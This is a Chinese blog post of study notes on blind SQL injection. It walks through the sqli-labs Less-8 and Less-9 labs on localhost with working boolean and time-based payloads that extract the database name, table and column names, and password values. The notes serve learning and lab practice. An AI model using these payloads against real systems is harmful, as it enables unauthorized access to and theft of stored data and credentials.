sql盲注学习笔记

作者: Hell0_C | 来源:发表于2017-02-21 16:04 被阅读4544次

sql盲注

在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己
去体会才能知道到底是什么样子的。

sql注入之盲注

盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
  盲注分为两类:
    1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据    你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
    2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
  需要用到的函数:

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

先在mysql里测试下这几个函数:
    这里使用的是security库
length函数:



substr函数:



Ascii:

sleep跟if由于是时间盲注就不一一测试了。

布尔盲注

sqli-less-8为布尔盲注这里就用它做下测试
  刚开始用id=1’/ ’) “ 测试了一下发现不会爆出错误信息 只有正确跟错误 less-8应该就是布尔盲注了吧 然后通过上面的函数首先构造一个猜测数据库名长度的函数

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

返回错误 说明length小于10
然后继续猜测是不是大于5

http://127.0.0.1/Less-8/?id=1' and (length(database()))>5 --+

返回正确说明长度大于5小于10
最后得到结果为

http://127.0.0.1/Less-8/?id=1' and (length(database()))=8 --+

返回正确 长度为八 也就是security
接下来利用substr函数与ascii函数构造猜测数据库名ascii码的值的语句 因为现在只知道长度不知道具体内容
构造语句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+

返回正确说明第一个字母的ascii码大于100

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>110 --+

返回正确

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<120 --+

返回正确

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<115 --+

返回错误

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+

返回正确 通过查ascii码表可知 ascii(115)=s 也就是security 的第一个字母
通过改变database()后面的数字 可以继续猜测第二个字母第三个字母
接下来改变语句去猜测表名
构造这个语句的时候发现自己还是不够熟练 弄错了好几次

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+

返回正确 当等于101的时候返回正确 101为 e 查看mysql 得知第一个表为emails 正确结果

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+

猜测列名只需要改变几个地方

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

获取user表的内容 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母 同样 通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段
接着获取 username 与 password 里面的内容 因为知道了列名所以直接 select password from users 就可以获取password里面的内容 username一样
具体语句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+  

ascii(68)=D 正确
手工盲注很繁琐 需要一个一个的试 不过现在还是先学习手工理解了sql注入的原理再去用工具比较好

时间盲注

sqli-less-9为时间盲注
前面已经说过slee()函数跟if函数了
这里就直接构造如下语句

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),null))  --+ 

如果返回正确则 页面会停顿10秒,返回错误则会立马返回
其他与布尔盲注都是差不多的

post类的布尔盲注与时间盲注

前面说的都是get类的盲注,post类的布尔盲注只是把and换成or其他不变,时间盲注有些不同因为在post类里sleep函数会被放大很多也就是说那个延时时间会很长,不过并不影响我们进行测试。

相关文章

  • sql盲注学习笔记

    sql盲注 在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己去体会才能知道到底是什么样子的。 ...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • 通过DVWA学习SQL盲注笔记

    SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法...

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • DVWA之SQL Injection(Blind)

    ————SQL Injection——(Blind)—— SQL Injection(Blind),即SQL盲注,...

  • sqli-lab之第二章--盲注

    第二章 盲注 注意: 本文大部分内容都是参考mysql注入天书 学习篇 何为盲注?盲注就是在 sql 注入过程中,...

  • 2019-02-24 sql注入

    sql注入主要分为显注和盲注,显注就是你注入的sql语句可以显示的显示到界面上,告诉你的语句对还是错。盲注就是不会...

  • sql注入-盲注

    注入源代码 1.left()判断数据库版本

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • 一步一步学习 Web 安全 2.6 布尔盲注

    盲注 盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。 盲注...

网友评论

  • _Deen:很棒,最近也在学sql盲注,一起学习!

本文标题:sql盲注学习笔记

本文链接:https://www.haomeiwen.com/subject/izjuwttx.html